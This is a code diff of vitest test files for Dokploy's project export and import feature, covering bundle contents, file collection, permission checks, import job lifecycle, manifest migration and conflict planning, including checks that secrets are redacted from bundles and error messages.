detectWarnings: (tree, scope) => detectWarnings(tree, scope),
},
);
expect(captureResult.requirements.some((r) => r.kind === "vault")).toBe(
true,
);
expect(captureResult.requirements.some((r) => r.kind === "registry")).toBe(
true,
);
const bundlePath = join(outDir, "bundle.dokploy.tar.gz");
await serialize(
{
resources: captureResult.resources,
inventory: captureResult.inventory,
requirements: captureResult.requirements,
warnings: captureResult.warnings,
dumps: [],
scope: baseScope,
organizationId: "org-1",
dokployVersion: "1.0.0-test",
exportedBy: { userId: "user-1", email: "a@b.com" },
},
captureResult.secretsPlain,
PASSPHRASE,
local(workDir),
local(bundlePath),
);
const extractDir = join(outDir, "extracted");
await execAsync(
`mkdir -p "${extractDir}" && tar -xzf "${bundlePath}" -C "${extractDir}"`,
);
const manifestRaw = JSON.parse(
await readFile(join(extractDir, "manifest.json"), "utf8"),
);
const manifestResult = manifestSchema.safeParse(manifestRaw);
expect(manifestResult.success).toBe(true);
const relativeFiles = await walkFiles(extractDir);
expect(relativeFiles.sort()).toEqual([
"inventory.json",
"manifest.json",
"payload.enc",
"requirements.json",
"warnings.json",
]);
const inventory = JSON.parse(
await readFile(join(extractDir, "inventory.json"), "utf8"),
);
expect(inventory.totals.application).toBe(1);
expect(inventory.totals.postgres).toBe(1);
const requirements = JSON.parse(
await readFile(join(extractDir, "requirements.json"), "utf8"),
);
expect(Array.isArray(requirements)).toBe(true);
expect(requirements.length).toBeGreaterThan(0);
for (const relativePath of relativeFiles) {
const bytes = await readFile(join(extractDir, relativePath));
for (const secret of SECRET_VALUES) {
expect(bytes.includes(secret)).toBe(false);
}
expect(bytes.includes("webhook-token-should-never-appear")).toBe(false);
}
});
});
@@ -0,0 +1,414 @@
import { existsSync, readFileSync } from "node:fs";
import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type {
ExportScope,
Requirement,
} from "@dokploy/server/services/project-export-import";
import { collectFiles } from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const { failPullBox } = vi.hoisted(() => ({
failPullBox: { value: false },
}));
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return {
...actual,
execAsync: vi.fn(async (command: string, options?: unknown) => {
if (failPullBox.value && command.includes("tar -czf")) {
const { ExecError } = await import(
"@dokploy/server/utils/process/ExecError"
);
throw new ExecError(`Command failed: ${command}`, {
command,
stderr: "no such file or directory",
exitCode: 1,
});
}
return actual.execAsync(command, options as undefined);
}),
};
});
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const emptyServiceArrays = {
postgres: [],
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
};
let root: string;
let workDir: string;
const fakePaths = (_isServer: boolean) => ({
BASE_PATH: root,
MAIN_TRAEFIK_PATH: join(root, "traefik"),
DYNAMIC_TRAEFIK_PATH: join(root, "traefik", "dynamic"),
LOGS_PATH: join(root, "logs"),
APPLICATIONS_PATH: join(root, "applications"),
COMPOSE_PATH: join(root, "compose"),
SSH_PATH: join(root, "ssh"),
CERTIFICATES_PATH: join(root, "traefik", "dynamic", "certificates"),
MONITORING_PATH: join(root, "monitoring"),
REGISTRY_PATH: join(root, "registry"),
SCHEDULES_PATH: join(root, "schedules"),
VOLUME_BACKUPS_PATH: join(root, "volume-backups"),
VOLUME_BACKUP_LOCK_PATH: join(root, "volume-backup-lock"),
PATCH_REPOS_PATH: join(root, "patch-repos"),
});
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-files-root-"));
workDir = await mkdtemp(join(tmpdir(), "transfer-files-work-"));
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
await rm(workDir, { recursive: true, force: true });
});
const buildTree = (application: Record<string, unknown>) => ({
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [application],
compose: [],
...emptyServiceArrays,
},
],
});
describe("collectFiles / application sources", () => {
it("excludes .git and node_modules for a github-sourced app, and keeps other files", async () => {
const appDir = join(root, "applications", "app-one");
await mkdir(join(appDir, ".git"), { recursive: true });
await writeFile(join(appDir, ".git", "HEAD"), "ref: refs/heads/main");
await mkdir(join(appDir, "node_modules", "lodash"), { recursive: true });
await writeFile(join(appDir, "node_modules", "lodash", "index.js"), "x");
await mkdir(join(appDir, "code"), { recursive: true });
await writeFile(join(appDir, "code", "main.go"), "package main");
await writeFile(join(appDir, "Dockerfile"), "FROM node");
const tree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "github",
domains: [],
});
await collectFiles(tree as any, baseScope, [], local(workDir), {
pathsFn: fakePaths as any,
});
const dest = join(workDir, "files", "applications", "app-one");
expect(existsSync(join(dest, "Dockerfile"))).toBe(true);
expect(existsSync(join(dest, ".git"))).toBe(false);
expect(existsSync(join(dest, "node_modules"))).toBe(false);
expect(existsSync(join(dest, "code"))).toBe(false);
});
it("keeps code/ for a drop-sourced app (no repo to re-clone from)", async () => {
const appDir = join(root, "applications", "app-drop");
await mkdir(join(appDir, "code"), { recursive: true });
await writeFile(join(appDir, "code", "main.go"), "package main");
const tree = buildTree({
applicationId: "app-drop",
appName: "app-drop",
serverId: null,
sourceType: "drop",
domains: [],
});
await collectFiles(tree as any, baseScope, [], local(workDir), {
pathsFn: fakePaths as any,
});
const dest = join(workDir, "files", "applications", "app-drop");
expect(existsSync(join(dest, "code", "main.go"))).toBe(true);
});
it("does nothing when applicationSources is excluded from scope", async () => {
const appDir = join(root, "applications", "app-one");
await mkdir(appDir, { recursive: true });
await writeFile(join(appDir, "Dockerfile"), "FROM node");
const tree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "github",
domains: [],
});
await collectFiles(
tree as any,
{
...baseScope,
files: { ...baseScope.files, applicationSources: false },
},
[],
local(workDir),
{ pathsFn: fakePaths as any },
);
expect(existsSync(join(workDir, "files", "applications", "app-one"))).toBe(
false,
);
});
it("does not throw when the application source directory doesn't exist (e.g. docker image source)", async () => {
const tree = buildTree({
applicationId: "app-1",
appName: "does-not-exist",
serverId: null,
sourceType: "docker",
domains: [],
});
await expect(
collectFiles(tree as any, baseScope, [], local(workDir), {
pathsFn: fakePaths as any,
}),
).resolves.toEqual({ warnings: [] });
});
});
describe("collectFiles / traefik raw", () => {
it("collects only the application's own dynamic yml file", async () => {
await mkdir(join(root, "applications", "app-one"), { recursive: true });
await mkdir(join(root, "traefik", "dynamic"), { recursive: true });
await writeFile(
join(root, "traefik", "dynamic", "app-one.yml"),
"http:\n routers: {}",
);
await writeFile(
join(root, "traefik", "dynamic", "app-two.yml"),
"http:\n routers: unrelated",
);
const tree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "docker",
domains: [],
});
await collectFiles(
tree as any,
{
...baseScope,
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: true,
customCertificates: false,
},
},
[],
local(workDir),
{ pathsFn: fakePaths as any },
);
const collected = join(workDir, "files", "traefik", "app-one.yml");
expect(existsSync(collected)).toBe(true);
expect(readFileSync(collected, "utf8")).toBe("http:\n routers: {}");
expect(existsSync(join(workDir, "files", "traefik", "app-two.yml"))).toBe(
false,
);
});
it("leaves no traefik directory behind when the app has no dynamic yml", async () => {
const tree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "docker",
domains: [],
});
await collectFiles(
tree as any,
{
...baseScope,
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: true,
customCertificates: false,
},
},
[],
local(workDir),
{ pathsFn: fakePaths as any },
);
expect(existsSync(join(workDir, "files"))).toBe(false);
});
});
describe("collectFiles / custom certificates (T-6.18)", () => {
const emptyTree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "docker",
domains: [],
});
it("pulls a local certificate (serverId: null) from CERTIFICATES_PATH on the local host", async () => {
const certDir = join(root, "traefik", "dynamic", "certificates", "cert-1");
await mkdir(certDir, { recursive: true });
await writeFile(join(certDir, "cert.pem"), "local cert contents");
const certRequirement: Requirement = {
kind: "certificate",
originalId: "cert-1",
configIncluded: false,
usedBy: [],
fingerprint: "abc123",
serverId: null,
};
await collectFiles(
emptyTree as any,
{
...baseScope,
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: true,
},
},
[certRequirement],
local(workDir),
{ pathsFn: fakePaths as any },
);
const collected = join(
workDir,
"files",
"certificates",
"cert-1",
"cert.pem",
);
expect(existsSync(collected)).toBe(true);
expect(readFileSync(collected, "utf8")).toBe("local cert contents");
});
it("uses the certificate's own serverId (not local) when it's hosted on a remote server", async () => {
const certRequirement: Requirement = {
kind: "certificate",
originalId: "cert-2",
configIncluded: false,
usedBy: [],
fingerprint: "def456",
serverId: "server-1",
};
const messages: string[] = [];
await collectFiles(
emptyTree as any,
{
...baseScope,
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: true,
},
},
[certRequirement],
local(workDir),
{ pathsFn: fakePaths as any, emit: (message) => messages.push(message) },
);
expect(messages.some((m) => m.includes("server server-1"))).toBe(true);
expect(
existsSync(join(workDir, "files", "certificates", "cert-2", "cert.pem")),
).toBe(false);
});
});
describe("collectFiles / skip messages are redacted (T-10.9)", () => {
afterEach(() => {
failPullBox.value = false;
});
it("reports the exit code and stderr, not the raw command, when a local pull fails", async () => {
const appDir = join(root, "applications", "app-one");
await mkdir(appDir, { recursive: true });
await writeFile(join(appDir, "Dockerfile"), "FROM node");
failPullBox.value = true;
const tree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "docker",
domains: [],
});
const messages: string[] = [];
const { warnings } = await collectFiles(
tree as any,
{
...baseScope,
files: {
applicationSources: true,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
},
[],
local(workDir),
{ pathsFn: fakePaths as any, emit: (message) => messages.push(message) },
);
expect(messages).toHaveLength(1);
expect(messages[0]).toContain("exit code 1");
expect(messages[0]).toContain("no such file or directory");
expect(messages[0]).not.toContain("tar -czf");
expect(existsSync(join(workDir, "files"))).toBe(false);
expect(warnings).toHaveLength(1);
expect(warnings[0]?.code).toBe("FILE_PULL_FAILED");
expect(warnings[0]?.message).toBe(messages[0]);
expect(warnings[0]?.affected).toContainEqual(
expect.objectContaining({ serviceId: "app-1" }),
);
});
});
@@ -0,0 +1,83 @@
import { ExecError } from "@dokploy/server/utils/process/execAsync";
import { describe, expect, it, vi } from "vitest";
vi.mock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
const execError = (command: string) =>
new ExecError(`Command execution failed: Command failed: ${command}`, {
command,
stderr: "NoSuchKey: The specified key does not exist",
exitCode: 1,
});
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
downloadBundleFromDestination: vi.fn(async () => {
throw execError(
"rclone copyto --s3-secret-access-key=realsecretkey789 :s3:mybucket/key.tar.gz /tmp/bundle.tar.gz",
);
}),
listBundlesUnderPrefix: vi.fn(async () => {
throw execError(
"rclone lsjson --s3-secret-access-key=realsecretkey789 :s3:mybucket",
);
}),
};
},
);
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
destinations: {
findFirst: vi.fn(async () => ({
destinationId: "destination-1",
organizationId: "org-1",
bucket: "mybucket",
})),
},
},
},
}));
const { projectExportImportRouter } = await import(
"../../server/api/routers/project-export-import"
);
const ctxFor = (organizationId: string) =>
({
session: { activeOrganizationId: organizationId },
user: { id: "user-1", email: "a@b.com" },
}) as any;
describe("projectExportImportRouter.importFromDestination / listRemoteBundles (T-5.5)", () => {
it("importFromDestination never leaks the destination's S3 secret in its error message", async () => {
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.importFromDestination({
destinationId: "destination-1",
key: "key.tar.gz",
}),
).rejects.toSatisfy((error: unknown) => {
const message = error instanceof Error ? error.message : String(error);
expect(message).not.toContain("realsecretkey789");
return true;
});
});
it("listRemoteBundles never leaks the destination's S3 secret in its error message", async () => {
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.listRemoteBundles({ destinationId: "destination-1" }),
).rejects.toSatisfy((error: unknown) => {
const message = error instanceof Error ? error.message : String(error);
expect(message).not.toContain("realsecretkey789");
return true;
});
});
});
@@ -0,0 +1,282 @@
import { mkdir, mkdtemp, readdir, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type {
Plan,
Snapshot,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import {
cancelImport,
cleanupExpiredImports,
createImportJob,
getImportJob,
runImport,
updateImportJob,
} from "@dokploy/server/services/project-export-import";
import { TRPCError } from "@trpc/server";
import { afterEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: { projectId: "project-1", name: "my-project" },
environments: [],
services: [],
shared: {},
},
requirements: [],
warnings: [],
dumps: [],
};
const plan: Plan = {
target: { kind: "newProject", name: "imported" },
resolutions: {},
serverMap: {},
appNameMap: {},
domainStrategy: { custom: "keep" },
portsStrategy: "keep",
rotateDatabaseCredentials: false,
conflicts: [],
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 0, dumps: 0 },
};
const waitForStatus = async (
importId: string,
target: "done" | "failed",
timeoutMs = 5000,
) => {
const start = Date.now();
while (Date.now() - start < timeoutMs) {
const job = getImportJob(importId);
if (job?.status === target || job?.status === "failed") {
return job;
}
await new Promise((resolve) => setTimeout(resolve, 10));
}
throw new Error(
`Timed out waiting for import ${importId} to reach ${target}`,
);
};
describe("runImport", () => {
it("leaves nothing created when apply() fails (transaction never commits)", async () => {
const importId = "import-fail-1";
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, {
snapshot,
plan,
secretsPlain: new Map(),
workDir: local("/tmp/does-not-matter"),
});
const failingDb = {
query: {
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
},
insert: () => {
throw new Error("insert should never be called");
},
update: () => {
throw new Error("update should never be called");
},
transaction: async () => {
throw new Error("Simulated apply failure");
},
} as any as TransferWriteDb;
runImport(importId, { db: failingDb, organizationId: "org-dest" });
const job = await waitForStatus(importId, "failed");
expect(job?.status).toBe("failed");
expect(job?.result).toBeUndefined();
expect(job?.partial).toBeFalsy();
expect(job?.error).toContain("Simulated apply failure");
});
it("clears secretsPlain right after apply() and snapshot once the job is done", async () => {
const importId = "import-clear-secrets-1";
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, {
snapshot,
plan,
secretsPlain: new Map([["some-secret-id", "super-secret-value"]]),
workDir: local("/tmp/does-not-matter"),
});
const workingDb = {
query: {
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
mounts: { findMany: async () => [] },
certificates: { findFirst: async () => undefined },
},
insert: () => ({
values: (values: Record<string, unknown>) => ({
returning: async () => [{ ...values, projectId: "new-project-1" }],
}),
}),
update: () => ({ set: () => ({ where: async () => {} }) }),
transaction: async (fn: (tx: unknown) => Promise<unknown>) =>
fn({ ...workingDb }),
} as any as TransferWriteDb;
runImport(importId, { db: workingDb, organizationId: "org-dest" });
const job = await waitForStatus(importId, "done");
expect(job?.status).toBe("done");
expect(job?.secretsPlain).toBeUndefined();
expect(job?.snapshot).toBeUndefined();
});
it("refuses to run without snapshot/plan/secrets already set on the job", async () => {
const importId = "import-missing-1";
createImportJob(importId, "user-1", "org-dest");
const unusedDb = {
query: {},
insert: () => {
throw new Error("should never be called");
},
update: () => {
throw new Error("should never be called");
},
transaction: async () => {
throw new Error("should never be called");
},
} as any as TransferWriteDb;
runImport(importId, { db: unusedDb, organizationId: "org-dest" });
const job = await waitForStatus(importId, "failed");
expect(job?.status).toBe("failed");
expect(job?.error).toMatch(/inspect, unlock and plan/i);
});
});
describe("cancelImport (T-4.2)", () => {
let root: string;
afterEach(async () => {
if (root) {
await rm(root, { recursive: true, force: true });
}
});
it("removes the whole per-job directory, not just job.workDir; including the uploaded bundle sitting next to it", async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cancel-import-"));
const importId = "import-cancel-1";
const jobDir = join(root, importId);
const workDir = join(jobDir, "extracted");
await mkdir(workDir, { recursive: true });
await writeFile(join(jobDir, "bundle.dokploy.tar.gz"), "fake bundle");
await writeFile(join(workDir, "manifest.json"), "{}");
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, { root: local(jobDir), workDir: local(workDir) });
await cancelImport(importId);
await expect(readdir(jobDir)).rejects.toThrow();
expect(getImportJob(importId)).toBeUndefined();
});
it("refuses to cancel while the background pipeline is actually running (applying/restoring/deploying)", async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cancel-import-running-"));
const importId = "import-cancel-running-1";
const jobDir = join(root, importId);
await mkdir(jobDir, { recursive: true });
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, { root: local(jobDir), status: "restoring" });
await expect(cancelImport(importId)).rejects.toThrow(TRPCError);
expect(getImportJob(importId)?.status).toBe("restoring");
await expect(readdir(jobDir)).resolves.toEqual([]);
});
it("still allows cancelling a job that's only idling on the next user step (e.g. 'planned')", async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cancel-import-idle-"));
const importId = "import-cancel-idle-1";
const jobDir = join(root, importId);
await mkdir(jobDir, { recursive: true });
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, { root: local(jobDir), status: "planned" });
await cancelImport(importId);
expect(getImportJob(importId)).toBeUndefined();
});
});
describe("cleanupExpiredImports (T-5.10)", () => {
let root: string;
afterEach(async () => {
if (root) {
await rm(root, { recursive: true, force: true });
}
});
it("leaves an active (non-terminal status) job alone even past the TTL", async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cleanup-import-"));
const importId = "active-past-ttl-1";
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, { status: "restoring" });
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
const expired = await cleanupExpiredImports(farFuture);
expect(expired.map((j) => j.importId)).not.toContain(importId);
expect(getImportJob(importId)).toBeDefined();
});
it("cleans up a terminal-status job once it's past the TTL", async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cleanup-import-"));
const importId = "terminal-past-ttl-1";
const jobDir = join(root, importId);
await mkdir(jobDir, { recursive: true });
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, { root: local(jobDir), status: "done" });
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
const expired = await cleanupExpiredImports(farFuture);
expect(expired.map((j) => j.importId)).toContain(importId);
expect(getImportJob(importId)).toBeUndefined();
await expect(readdir(jobDir)).rejects.toThrow();
});
});
@@ -0,0 +1,65 @@
import {
assertNoActiveTransfer,
createExportJob,
createImportJob,
createImportJobIfNoneActive,
getImportJob,
updateExportJob,
updateImportJob,
} from "@dokploy/server/services/project-export-import";
import { TRPCError } from "@trpc/server";
import { describe, expect, it } from "vitest";
describe("assertNoActiveTransfer (T-4.2)", () => {
it("throws when the user has an in-progress export", () => {
createExportJob("export-rl-1", "user-rl-1", "org-1");
updateExportJob("export-rl-1", { status: "capturing" });
expect(() => assertNoActiveTransfer("user-rl-1")).toThrow(TRPCError);
});
it("throws when the user has an in-progress import", () => {
createImportJob("import-rl-1", "user-rl-2", "org-1");
updateImportJob("import-rl-1", { status: "applying" });
expect(() => assertNoActiveTransfer("user-rl-2")).toThrow(TRPCError);
});
it("does not throw once the job reaches a terminal status", () => {
createExportJob("export-rl-2", "user-rl-3", "org-1");
updateExportJob("export-rl-2", { status: "done" });
createImportJob("import-rl-2", "user-rl-3", "org-1");
updateImportJob("import-rl-2", { status: "done" });
expect(() => assertNoActiveTransfer("user-rl-3")).not.toThrow();
});
it("does not throw for a different user's in-progress job", () => {
createExportJob("export-rl-3", "user-rl-4", "org-1");
updateExportJob("export-rl-3", { status: "capturing" });
expect(() => assertNoActiveTransfer("user-rl-someone-else")).not.toThrow();
});
});
describe("createImportJobIfNoneActive (T-5.11)", () => {
it("the second of two back-to-back calls for the same user fails, even with no active job at the time of either's own separate check", () => {
createImportJobIfNoneActive("import-atomic-1", "user-atomic-1", "org-1");
expect(() =>
createImportJobIfNoneActive("import-atomic-2", "user-atomic-1", "org-1"),
).toThrow(TRPCError);
expect(getImportJob("import-atomic-1")).toBeDefined();
expect(getImportJob("import-atomic-2")).toBeUndefined();
});
it("still allows a different user's call to proceed", () => {
createImportJobIfNoneActive("import-atomic-3", "user-atomic-2", "org-1");
expect(() =>
createImportJobIfNoneActive("import-atomic-4", "user-atomic-3", "org-1"),
).not.toThrow();
expect(getImportJob("import-atomic-4")).toBeDefined();
});
});
@@ -0,0 +1,52 @@
import type { Manifest } from "@dokploy/server/services/project-export-import";
import {
migrateManifest,
TRANSFER_FORMAT,
TRANSFER_FORMAT_VERSION,
UnsupportedBundleVersionError,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const baseManifest: Manifest = {
format: TRANSFER_FORMAT,
formatVersion: TRANSFER_FORMAT_VERSION,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0-test", organizationId: "org-1" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
};
describe("migrateManifest", () => {
it("returns a v1 manifest unchanged (identity)", () => {
const result = migrateManifest(baseManifest);
expect(result).toEqual(baseManifest);
});
it("throws UnsupportedBundleVersionError for a bundle newer than this install supports", () => {
const future: Manifest = {
...baseManifest,
formatVersion: TRANSFER_FORMAT_VERSION + 1,
};
expect(() => migrateManifest(future)).toThrow(
UnsupportedBundleVersionError,
);
expect(() => migrateManifest(future)).toThrow(/newer version of Dokploy/i);
});
});
@@ -0,0 +1,108 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
let memberToReturn:
| {
id: string;
role: string;
userId: string;
organizationId: string;
accessedProjects: string[];
}
| undefined = {
id: "member-1",
role: "owner",
userId: "user-1",
organizationId: "org-1",
accessedProjects: [],
};
let projectToReturn: { projectId: string; organizationId: string } | undefined =
{ projectId: "project-1", organizationId: "org-1" };
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
member: {
findFirst: vi.fn(() => Promise.resolve(memberToReturn)),
},
projects: {
findFirst: vi.fn(() => Promise.resolve(projectToReturn)),
},
},
},
}));
const { assertTransferPermission } = await import(
"@dokploy/server/services/project-export-import"
);
const ctxFor = (organizationId: string) => ({
user: { id: "user-1" },
session: { activeOrganizationId: organizationId },
});
beforeEach(() => {
memberToReturn = {
id: "member-1",
role: "owner",
userId: "user-1",
organizationId: "org-1",
accessedProjects: [],
};
projectToReturn = { projectId: "project-1", organizationId: "org-1" };
});
describe("assertTransferPermission", () => {
it("allows an owner to export", async () => {
memberToReturn = { ...memberToReturn!, role: "owner" };
await expect(
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
).resolves.toBeDefined();
});
it("allows an admin to export", async () => {
memberToReturn = { ...memberToReturn!, role: "admin" };
await expect(
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
).resolves.toBeDefined();
});
it("rejects a plain member with FORBIDDEN", async () => {
memberToReturn = { ...memberToReturn!, role: "member" };
await expect(
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
).rejects.toMatchObject({ code: "FORBIDDEN" });
});
it("rejects a user with no membership in the active org (cross-org access)", async () => {
memberToReturn = undefined;
await expect(
assertTransferPermission(ctxFor("org-2") as any, "project-1", "export"),
).rejects.toBeDefined();
});
it("rejects NOT_FOUND when projectId belongs to a different organization, even for an owner", async () => {
projectToReturn = { projectId: "project-1", organizationId: "org-2" };
await expect(
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("rejects NOT_FOUND when projectId doesn't exist at all", async () => {
projectToReturn = undefined;
await expect(
assertTransferPermission(
ctxFor("org-1") as any,
"project-missing",
"export",
),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("skips the project lookup entirely when no projectId is given", async () => {
projectToReturn = undefined;
await expect(
assertTransferPermission(ctxFor("org-1") as any, undefined, "export"),
).resolves.toBeDefined();
});
});
@@ -0,0 +1,391 @@
import type {
Requirement,
Snapshot,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
buildPlan,
requirementKey,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const vaultRequirement: Requirement = {
kind: "vault",
originalId: "vault-src",
configIncluded: false,
usedBy: [
{
serviceId: "app-1",
serviceType: "application",
serviceName: "my-app",
environmentId: "env-1",
},
],
providerName: "prod",
providerType: "hashicorp",
secretKeys: ["DB_PASS"],
};
const networkRequirement: Requirement = {
kind: "network",
originalId: "net-src",
configIncluded: true,
usedBy: [
{
serviceId: "app-1",
serviceType: "application",
serviceName: "my-app",
environmentId: "env-1",
},
],
name: "shared-net",
};
const serverRequirement: Requirement = {
kind: "server",
originalId: "server-src-1",
configIncluded: false,
usedBy: [
{
serviceId: "app-1",
serviceType: "application",
serviceName: "my-app",
environmentId: "env-1",
},
],
};
const applicationService: Record<string, unknown> = {
kind: "application",
applicationId: "app-1",
name: "my-app",
appName: "my-app-abc123",
environmentId: "env-1",
serverId: "server-src-1",
domains: [{ domainId: "dom-1", host: "existing.example.com" }],
ports: [{ portId: "port-src-1", publishedPort: 8080 }],
};
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: { application: 1 },
},
resources: {
project: { projectId: "project-1", name: "my-project" },
environments: [{ environmentId: "env-1", name: "production" }],
services: [applicationService],
shared: {},
},
requirements: [vaultRequirement, networkRequirement, serverRequirement],
warnings: [],
dumps: [],
};
const fakeDb = (): TransferDb =>
({
query: {
vaultProvider: { findMany: async () => [] },
network: {
findMany: async () => [],
findFirst: async () => ({
networkId: "net-dest-existing",
name: "shared-net",
organizationId: "org-dest",
}),
},
server: {
findMany: async () => [
{
serverId: "server-dest-1",
name: "prod",
organizationId: "org-dest",
},
],
findFirst: async () => ({ organizationId: "org-dest" }),
},
webServerSettings: { findFirst: async () => undefined },
projects: {
findFirst: async () => ({
projectId: "project-existing",
name: "my-project",
organizationId: "org-dest",
}),
},
domains: {
findMany: async () => [
{ domainId: "dom-existing-1", host: "existing.example.com" },
],
},
postgres: {
findMany: async () => [],
findFirst: async () => undefined,
},
mysql: {
findMany: async () => [],
findFirst: async () => undefined,
},
mariadb: {
findMany: async () => [],
findFirst: async () => undefined,
},
mongo: {
findMany: async () => [],
findFirst: async () => undefined,
},
redis: {
findMany: async () => [],
findFirst: async () => undefined,
},
libsql: {
findMany: async () => [],
findFirst: async () => undefined,
},
ports: {
findMany: async () => [
{
portId: "port-existing-1",
publishedPort: 8080,
application: { serverId: "server-dest-1" },
},
],
},
},
}) as any as TransferDb;
describe("buildPlan", () => {
it("marks a missing vault requirement's services as pending, with a blocking warning", async () => {
const plan = await buildPlan(
fakeDb(),
snapshot,
"org-dest",
{ kind: "newProject", name: "my-project" },
{
resolutions: {
[requirementKey(serverRequirement)]: {
requirementKey: requirementKey(serverRequirement),
action: "reuse",
targetId: "server-dest-1",
},
},
},
);
expect(plan.resolutions[requirementKey(vaultRequirement)]).toEqual({
requirementKey: requirementKey(vaultRequirement),
action: "skip",
});
expect(plan.pendingServices).toEqual([
{
serviceId: "app-1",
serviceType: "application",
reason: 'Missing vault "prod"',
},
]);
expect(
plan.warnings.some(
(w) =>
w.code === "MISSING_REQUIREMENT_BLOCKING" &&
w.severity === "blocking",
),
).toBe(true);
});
it("flags an existing host as a domain conflict", async () => {
const plan = await buildPlan(fakeDb(), snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(plan.conflicts).toContainEqual(
expect.objectContaining({
kind: "domain",
value: "existing.example.com",
existingId: "dom-existing-1",
}),
);
});
it("flags an existing project name as a conflict with a suggested rename option", async () => {
const plan = await buildPlan(fakeDb(), snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(plan.conflicts).toContainEqual({
kind: "projectName",
value: "my-project",
existingId: "project-existing",
usedBy: [],
options: ["rename"],
});
